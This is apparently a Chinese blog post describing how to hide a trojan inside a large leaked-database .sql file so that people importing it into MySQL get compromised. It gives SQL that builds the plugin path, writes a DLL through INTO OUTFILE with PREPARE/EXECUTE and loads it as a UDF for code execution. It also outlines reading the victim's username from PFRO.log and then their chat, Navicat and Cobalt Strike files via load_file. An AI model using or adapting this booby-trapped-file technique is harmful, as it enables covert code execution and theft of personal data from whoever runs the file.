前言
之前聊天的时候nux提了一嘴,能不能在裤子里插🐎,几百MB发给别人,一般警惕性差的就直接运行了,哪怕警惕性好一点的,几百M或者几百G的裤子想要检查也检查不了。这个想法我一直记得,于是乎今天就来研究研究。
为什么选用.sql呢?主要是目标受众好,并且对这个玩意警惕性不高,大家洗数据的时候就直接丢进mysql里运行了,一般也不会想太多,并且和压缩包钓鱼不同,只要你把文件放出去,就会有一堆人如同苍蝇一般直接受到吸引,蜂拥而来。
具体想法基本就是UDF,直接写出DLL然后运行。能RCE的基本就是这样了。
然而实际上利用条件有点苛刻,并不能百分百上线,有以下几个问题
- mysql用户权限问题
- mysql插件路径问题
- 写出时候的动态路径问题
- mysql插件路径权限问题
前面三个都好解决,最后一个是真的无解,所以遇到那些带secure
开关的mysql基本就没办法上线,linux默认安装一般都带这个,但是好在,windows下这个问题并不太多,同时那些钓鱼目标群体洗数据一般也用的是windows洗,所以问题不太大。
对于用户权限问题,我们只需要在制作我们的钓鱼sql的时候,多设计到几个库的操作,大部分人就会知难而退,图省事,直接用root权限跑了(没错就是我)。至于如何获取mysql插件也很简单,直接用select @@basedir as basePath from dual
拼接一下就行。
最复杂的其实是动态路径问题,我之前一直以为outfile不能用变量,结果今天查了一下,有prepare
和execute
这种好东西。可以动态指行sql语句,那么这些要素不都齐全了?直接进行一个代码的缝合
代码
直接上代码
SET @BasePath = (select @@basedir as basePath from dual) ;
SET @fullOutputPath = CONCAT(@BasePath,'lib\\plugin\\','udf.dll');
SET @Ok_Path = REPLACE(@fullOutputPath,'\\','\\\\');
set @q1 = concat("SELECT 'this_is_evil_dll' INTO OUTFILE/* or dumpfile*/ '",@Ok_Path,"';");
select @Ok_Path;
prepare s1 from @q1;
execute s1;deallocate prepare s1;
create function eval_function returns string soname 'udf.dll';
select eval_function ();
写出dll后用udf的方式上线就行
一些解决办法
有时候不同版本的mysql的插件路径不同,并且64位windows/linux,32位windows/linux,所需要的路径/二进制文件也不同,这些改如何处理呢?
我的看法就是直接进行一个暴力试错,反正几百M的sql,多写几行别人也看不出来,不知道哪个版本的mysql?那就把每个版本的路径都写上去,不知道哪个版本的系统?那就把每个版本的二进制hex都写进去,总有一个会成功的.jpg
进阶
其实,如果不考虑上线,只考虑探针的话,我们select一些内容就行了,但是如果直接select不知道路径的情况下,我们能获取到的内容又不多,比如在linux下就只能读取到passwd,hosts这类东西。
但是对于这份.sql使用者的群体敏感性,我们基本能确认这些使用者用的不是红/蓝队,就是黑/灰产,对于他们这些用户来说,我们熟悉的cs/Navicat/qq/微信这些敏感文件都储存与C:\users\用户名\xxxxx
下, 再此当中,只有用户名是不固定的?
有没有一种可能,只要我们获取到了用户名,其他这些数据也就随便我们读取了呢?
甚至读取这些数据所需要的权限更低,甚至写出文件不会触发杀软?
~ 所以接下来的目标,就是研究sql脚本如何自动获取路径,达成自动化探针的效果。 ~
通过这个文章看了一下:MySQL蜜罐获取攻击者微信ID
好的,要素又齐全了。
可以通过C:\Windows\PFRO.log
大概率获取到电脑使用者的用户名。
那么直接通过load_file读取文件,然后使用mysql自带的left()、right()、substring()、substring_index()
这类函数,不就能成了?
未完待续(哪天心情好了补代码)